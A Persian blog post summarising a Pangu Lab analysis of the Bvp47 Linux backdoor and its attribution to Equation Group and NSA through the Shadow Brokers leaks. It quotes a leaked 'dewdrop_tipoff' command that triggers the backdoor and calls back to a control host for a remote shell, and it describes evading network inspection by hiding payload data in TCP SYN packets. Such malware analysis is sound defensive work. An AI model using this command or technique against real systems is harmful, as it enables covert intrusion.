Seyyid
Seyyid
خواندن ۱۰ دقیقه·۳ سال پیش

بکدوری به طول 10 سال - قسمت اول

اخیرا گزارشی از Pangu Lab منتشر شده که در اون یک بکدور از NSA رو بررسی کردند که حدودا 10 سال فعال بوده و خیلی جاها از جمله بخش های کلیدی چین رو با اون زدند. در لیست تارگتها البته ایران هم هست ، قسمتی از پایگاه اطلاع رسانی پژوهشگاه ارتباطات و فناوری اطلاعات مورد عنایت قرار گرفته.

این گزارش چون طولانی بود در 2 بخش نوشتم :

بخش اول همین مقاله ، یک خلاصه از این بکدور رو ارائه داده و در ادامه به بررسی اسنادی می پردازه که این بکدور رو به NSA ربط میده و در آخر هم به تارگتهایی که با این بکدور خوردن اشاره میشه.

بخش دوم مقاله شامل یک تحلیل تکنیکال از خود بکدور هستش. (https://vrgl.ir/544uE)

اگر به چنین مطالبی علاقمند هستید از کانال ما هم دیدن کنید.

خلاصه :

در سال 2013 محققان آزمایشگاه Pangu Lab یک بکدور لینوکسی با قابلیت خود تخریبی ، مخفی سازی سیستمی ، مبتنی بر TCP SYN و کدهای مبهم شده در یک فرآیند فارنزیکی رو پیدا کردند. محققان متوجه شدند که برای اجرای نرمال بدافزار ، نیاز به یک چک کد مرتبط با میزبان دارند. محققان با کرک چک کد توانستند آنرا اجرا کنند. با بررسی هایی که انجام شد محققان چینی دریافتند که بدافزار مرتبط با یک APT می باشد و برای فعال کردن کامل بدافزار نیاز به یک کلید خصوصی نامتقارن از سمت عاملین تهدید می باشد. بر اساس رایج ترین رشته "Bvp" در نمونه و مقدار عددی 0x47 استفاده شده در الگوریتم رمزگذاری، تیم بدافزار مربوطه را در آن زمان "Bvp47" نامید.

در سالهای 2016 و 2017 گروه «The Shadow Brokers» فایلهایی رو منتشر کردند که مدعی بودند گروه “The Equation Group” از اونها استفاده میکنن . محققان Pangu Lab از میان فایلهای منتشر شده کلید خصوصی "Bvp47" رو پیدا کردند و بنابراین این بدافزار مرتبط با “The Equation Group” دونستند . در تحقیقات بعدی مشخص شد که دستورات و عملکردهایی که توسط The Shadow Brokers افشا شده بود با یک مورد از حملات NSA که اسنودن آن را در سال 2013 افشا کرده بود بنام Prism مطابقت دارد . (پریزم اسم رمز یک برنامهٔ جاسوسی است که آژانس امنیت ملی ایالات متحده آمریکا آن را پیش می‌برد و آرمان آن گردآوری داده ارتباط اینترنتی از چندین شرکت فراهم‌آورنده خدمات اینترنت در آمریکا بود .)

با توجه به اعلام جرم آمریکا نسبت به اسنودن میتوان نتیجه گرفت که اطلاعات افشا شده توسط The Shadow Brokers مرتبط با NSA بوده و بنابراین The Equation Group تیم نیز مرتبط با NSA است و در نتیجه بدافزار Bvp47 نیز مرتبط با NSA است .

از فایلهای افشا شده توسط The Shadow Brokers متوجه می شویم که به 287 هدف در 45 کشور مانند روسیه ، ژاپن ، اسپانیا ، آلمان و ایتالیا و ... حمله صورت گرفته . این حمله 10 سال بطول انجامید .

درب پشتی که دیده نمی شد

در سال 2015 یک تهدید گزارش شد و تیم پاسخ به رخدادها با بررسی آنها متوجه شد که 2 سرور هک شده و بکدور روی آنها نصب شده است و اطلاعات زیادی از سازمان استخراج شده است.

در این رخداد 3 سرور وجود داشت که یکی A که منبع حمله خارجی بود و 2 سرور V1 که سرور ایمیل و V2 که business server بودند از طریق حمله داخلی هک شده بودند . ارتباطات غیرعادی بین هاست خارجی A و سرور داخلی V1 وجود داشت . در ابتدا A یک بسته SYN با 264 بایت پیلود به پورت 80 سرور V1 ارسال می کند ( در حالت عادی پکتهای SYN حامل بسته های پیلود نیستند ) و سپس سرور V1 بلافاصله یک ارتباط به پورتهای بالایی هاست A ایجاد میکند و مقدار زیادی از تبادل داده ای را انجام میدهد. ارتباطات داده ای رمزگذاری شده بود.

همزمان سرور V1 به سرویس SMB سرور V2 وصل شده و کارهای مهمی مانند لاگین شدن به سرور V2 با یک حساب ادمین ، باز کردن سرویس های ترمینال ، لیست کردن دایرکتوریها و اجرای اسکریپت های پاورشل از طریق scheduled tasks .

همزمان سرور V2 به پورت 8081 سرور V1 برای دانلود فایل های مشکوک از جمله اسکریپتهای پاورشل و داده های رمزگذاری شده برای مرحله دوم بود ، متصل می شد.

یک سرور HTTP ساده پیاده سازی شده در پایتون در پورت 8081 سرور V1 راه اندازی شده و سرور V2 دو فایل را index.html و index.htm را دانلود می کرد .

فایل index.html شامل اسکریپت پاورشل کد شده با Base64 بود که با اجرای آن فایل index.htm دانلود می شد که اون هم با BASE64 کدگذاری شده بود که بعد از دیکد کردن اون یک رشته غیرخوانا تولید می شد .آنالیز پاورشل قبلی نشان میده که این قسمتی از داده رمزنگاری نامتقارن است .

در ادامه سرور V2 برای برقراری ارتباط با پروتکل خود به پورت بالایی از سرور V1 متصل می شود و مقدار زیادی از داده های انتقالی رمزگذاری می شود.

بطور خلاصه می توان چنین تصور کرد :

1. ماشین A به پورت 80 سرور V1 یک درخواست ارسال می کند و بکدور را روی سرور V1 اجرا میکند.

2. سرور V1 به طور معکوس به یک پورت ماشین A برای ایجاد مسیر انتقال داده متصل می شود.

3. سرور V2 به وب سرویس بکدور باز شده در سرور V1 متصل می شود و اسکریپت پاورشل را از سرور V1 دریافت می کند.

4. سرور V1 برای انجام دستورات به پورت سرویس SMB سرور V2 متصل می شود.

5. سرور V2 با سرور V1 در پورت بالایی ارتباط برقرار می کند و از پروتکل رمزگذاری خود برای تبادل داده استفاده می کند.

6. سرور V1 انتقال داده ها را با ماشین A همگام می کند و سرور V1 به عنوان یک انتقال داده بین ماشین A و سرور V2 عمل می کند.

این فناوری ارتباطی قبلاً دیده نشده بود و به سازمانی با قابلیت های فنی قوی در پشت آن اشاره می کرد.

مروری بر بکدور BVP47

همانطور که قبلا اشاره شد بر اساس رایج ترین رشته "Bvp" در نمونه و مقدار عددی 0x47 استفاده شده در الگوریتم رمزگذاری، بدافزار را در آن زمان "Bvp47" نامیده شد.

ساختار فایل BVP47

ساختار فایل Bvp47 شامل 2 قسمت بود : لودر و پیلود. لودر که مسئول رمزگشایی و لوود پیلود در مموری بود. پیلود فشرده و انکریپت شده بود. 18 قسمت که به سه نوع T0، T1، T2 با نام‌های Slice0x00-Slice0x11 تقسیم می‌شوند:

- T0{Slice0x00}
- T1{Slice0x01-Slice0x10}
- T2{Slice0x11}

پس از خارج کردن از حالت فشرده این بکدور بدین شکل می شود :

در زیر این 18 قسمت براساس میزان استفاده ای که توسط بکدور انجام شده مرتب شده اند. مواردی که به رنگ قرمز است نیاز به بررسی بیشتر دارد .

سناریوی استفاده :

پس از حمله موفق ، به دلیل استفاده طولانی مدت ، بکدور فوق در یک ماشین با سیستم عامل لینوکس در یک منطقه امنی که متصل به اینترنت نیز بود قرار داده می شد . شکل زیر نشان دهنده نقش ارتباطات در کنترل اصلی حمله می باشد:

پس از تجزیه و تحلیل، فرآیند پکتهای داده ای در حمله واقعی به شبکه مانند شکل زیر است.

روند ارتباط بین Bvp47 و سرور کنترل به شرح زیر است:

1- هکر (control end) (192.168.91.131) یک بسته SYN از نوع TCP با پیلودی به اندازه مشخص 136 بایت به قربانی (192.168.91.128) روی پورت 1357 ارسال می کند.

2- پس از دریافت بسته ، قربانی بلافاصله دستورات اتصال به پورت 2468 در control end را دنبال میکند.

3- قربانی وارد فرایند کنترل توسط هکر (control end) می شود.

بکدور از یک ضعف سوء استفاده می کند که دستگاه های رایج تشخیص شبکه معمولاً بسته های داده را در طول هندشیک TCP بررسی نمی کنند. Bvp47 داده ها را در اولین بسته SYN تزریق می کند تا از شناسایی توسط دستگاه های امنیتی شبکه جلوگیری کند.

اسناد مرتبط با مهاجمان

در سال 2016، یک گروه هکر به نام Shadow Broker دو فایل فشرده به نام‌های eqgrp-free file.tar.xz.gpg و eqgrp-auction-file.tar.xz.gpg را منتشر کردند و مدعی شدند که Equation group آژانس امنیت ملی ایالات متحده را به خطر انداخته اند. فایل فشرده حاوی ابزارهای مورد استفاده توسط Equation group میباشد . فایل eqgrp-free-file.tar.xz.gpg قابل دانلود برای عموم قرار گرفت اما پسورد فایل eqgrp-auction-file.tar.xz.gpg به قیمت یک میلیون بیت کوین به فروش گذاشته شد با این حال کسی اونو نخرید.

سرانجام Shadow Broker تصمیم گرفت پسورد eqgrp-auction file.tar.xz.gpg را در آوریل 2017 منتشر کند.

با بررسی محتوای این فایل ارتباطاتی در محتوای دایرکتوریهای dewdrops, solutionchar_agents, tipoffs, StoicSurgeon, insision با Bvp47 نمایان شد .بخصوص محتوای فایل dewdrops_tipoffs که حاوی کلید عمومی و خصوصی RSA برای ارتباطات بود .بر این اساس می توان تایید کرد که Bvp47 محصولی از Equation group است.

دایرکتوریهای dewdrops و solutionchar_agents شامل توابع و دایرکتوری tipoffs شامل ارتباطات راه دور (control end) می باشد.

بررسی عمیق تر فایلهای منتشر شده نیز اطلاعات زیادی را در مورد ارتباط این بکدور با NSA میدهد.

فایل user.tool.stoicsurgeon.COMMON موجود در دایرکتوری file\Linux\doc\old\etc\ directory از فایل فشرده eqgrp-auction-file.tar.xz.gpg نحوه استفاده از ابزار tipoff-BIN را توضیح میدهد که اطلاعات زیادی را در خصوص بکدور ارائه میدهد :

1. بکدور Bvp47 حاوی ماژولی به نام "dewdrop" است که می تواند توسط کلید خصوصی RSA ماژول "tipoff" فعال شود.

2. فایل COMMON یک بکدور به نام "StoicSurgeon" را توضیح میدهد ، که یک روت کیت پیشرفته بکدوری چند پلتفرمی است که می تواند با استفاده از "Dewdrop" ترکیب شود.

3. بکدور StoicSurgeon یک برادر کوچک بنام Incision دارد که یک روت کیت بک دوری است .

4. در طول حمله می توان Incision را به StoicSurgeon ارتقاء داد.

سیستم عاملهایی که از dewdrop و StoicSurgeon پشتیبانی میکردند عمدتا از توزیعهای اصلی لینوکس JunOS,FreeBSD, Solaris بودند

بکدور Bvp47 با دستور زیر اقدام به ارتباط با control end میکرد :

#./tipoffs/dewdrop_tipoff --trigger-address 11.22.33.44 --target-address 12.34.56.78 --target protocol tcp --target-port 1357 --callback-address 13.24.57.68 --callback-port 2468 --start-ish

در این دستور ، ish مرتبط با فایل ish در \eqgrp-auction-file\Linux\bin همراه با ابزار ish لو رفته است که نشان دهنده اجرای موفق Bvp47 ، اجرای دانلود از راه دور را تکمیل کرده و شل راه دور را باز کرده است، می باشد.

علاوه بر این دستورات ، دستور دیگری نیز برای اجرای راه دور برنامه مشخص شده وجود دارد :

علاوه بر دیتاهای لیک شده توسط Shadow Broker، در دسامبر 2013، رسانه آلمانی "اشپیگل" کاتالوگ NSA ANT را با 50 عکس منتشر کرد. این مجموعه مطالب فوق محرمانه مرتبط با NSA می باشد که در سال های 2008-2009 گردآوری شده است، از جمله استفاده از یک سری ابزارهای پیشرفته هک. منبع اطلاعات ممکن است از ادوارد اسنودن یا یک intelligence provider ناشناخته باشد.

فایل FOXACID-Server-SOP-Redacted.pdf منتشر شده در این کاتالوگ حاوی اطلاعاتی در خصوص سرور پروژه Acid Fox می باشد که حاوی کد ضروری منحصر بفرد ace02468bdf13579 می باشد:

فایل فشرده eqgrp-free-file.tar.xz.gpg منتشر شده توسط Shadow Brokers نیز حاوی فایلی بنام SecondDate-3021.exe در مسیر \eqgrp-free-file\Firewall\BANANAGLEE\BG3000\Install\LP\Modules\PIX وجود دارد که این فایل حاوی کد منحصر به فرد ace02468bdf13579 با نام SecondDate مطابق با کاتالوگ وجود دارد.

اگر این اتفاق در SecondDate-3021.exe تصادفی باشد، رشته "ace02468bdf13579" در 47 فایل مربوط به ابزاری به نام SecondDate در مجموعه ابزار فاش شده وجود دارد، که بدیهی است تصادفی نیست.

در یک فایل SecondDate در مسیر \eqgrp-free file\Firewall\SCRIPTS، نحوه استفاده از SecenData را توضیح می دهد که با توضیحات FOXACID-Server-SOP-Redacted.pdf که قبلا ذکر شد مطابقت دارد.

پس از تجزیه و تحلیل بیش از 90 برنامه مرتبط با SecondDate، مشخص شد که برنامه SecondDate دارای چندین پلتفرم و معماری مانند ویندوز، لینوکس، سولاریس و غیره است. انواعی از فایل های اجرایی تا shellcode بسیار جامع که چندین نسخه دارند . پایین ترین نسخه 1.3.0.1 در می 2007 ایجاد شده و بالاترین نسخه 3.0.3.6 در اکتبر 2013 ایجاد شده است .

زمان شروع مطابق با برنامه نظارت الکترونیکی فوق محرمانه بود که در سال 2007 توسط پروژه PRISM توصیف شد و تا 6 سال به طول انجامید. نسخه های مختلف، کراس پلتفرم کامل، پشتیبانی از معماری‌های مختلف، و روش‌های راه‌اندازی متنوع حاکی از قابلیت‌های سازمانی و فنی قوی پشت پروژه است. علاوه بر این، رابطه بین STOICSURGEON و برنامه SECONDDATE نیز در فایل opscript.txt در مسیر "EquationGroup-master\Linux\etc" قابل مشاهده است:

با توجه به این اسناد و اسنادی که Shadow Brokers افشا کرده است می توان به ارتباط NSA با این بکدور رسید.

قربانیان

براساس فایل eqgrp-auction-file.tar.xz.gpg و در مسیر file\Linux\bin\varkeys\pitchimpair\ لیستی از قربانیان بالقوه بک دورهای Dewdrop, StoicSurgeo, Incision وجود دارد که به شرح زیر است :

در میان بسیاری از سرنخ‌های مرتبط با چین، اولین مورد را می‌توان به سال 2002 برگرداند:

شواهدی وجود دارد که نشان میدهد مهاجمان از قربانی به عنوان jump server یا C2 برای حمله به هدف دیگر استفاده می کردند، برای مثال 210.135.90.0/24 در ژاپن یک سرور C2 را در سال 2015 بازی می کرد.

قسمت اول اینجا تموم میشه و تحلیل تکنیکال این بک دور رو در قسمت دوم می تونید مطالعه کنید

تحلیل بدافزارفارنزیکshadow brokerآزانس امنیت ملیEquation Group
علاقمند به باگ بانتی ، توسعه اکسپلویت و ابزارهای امنیتی و دنیای آبی
شاید از این پست‌ها خوشتان بیاید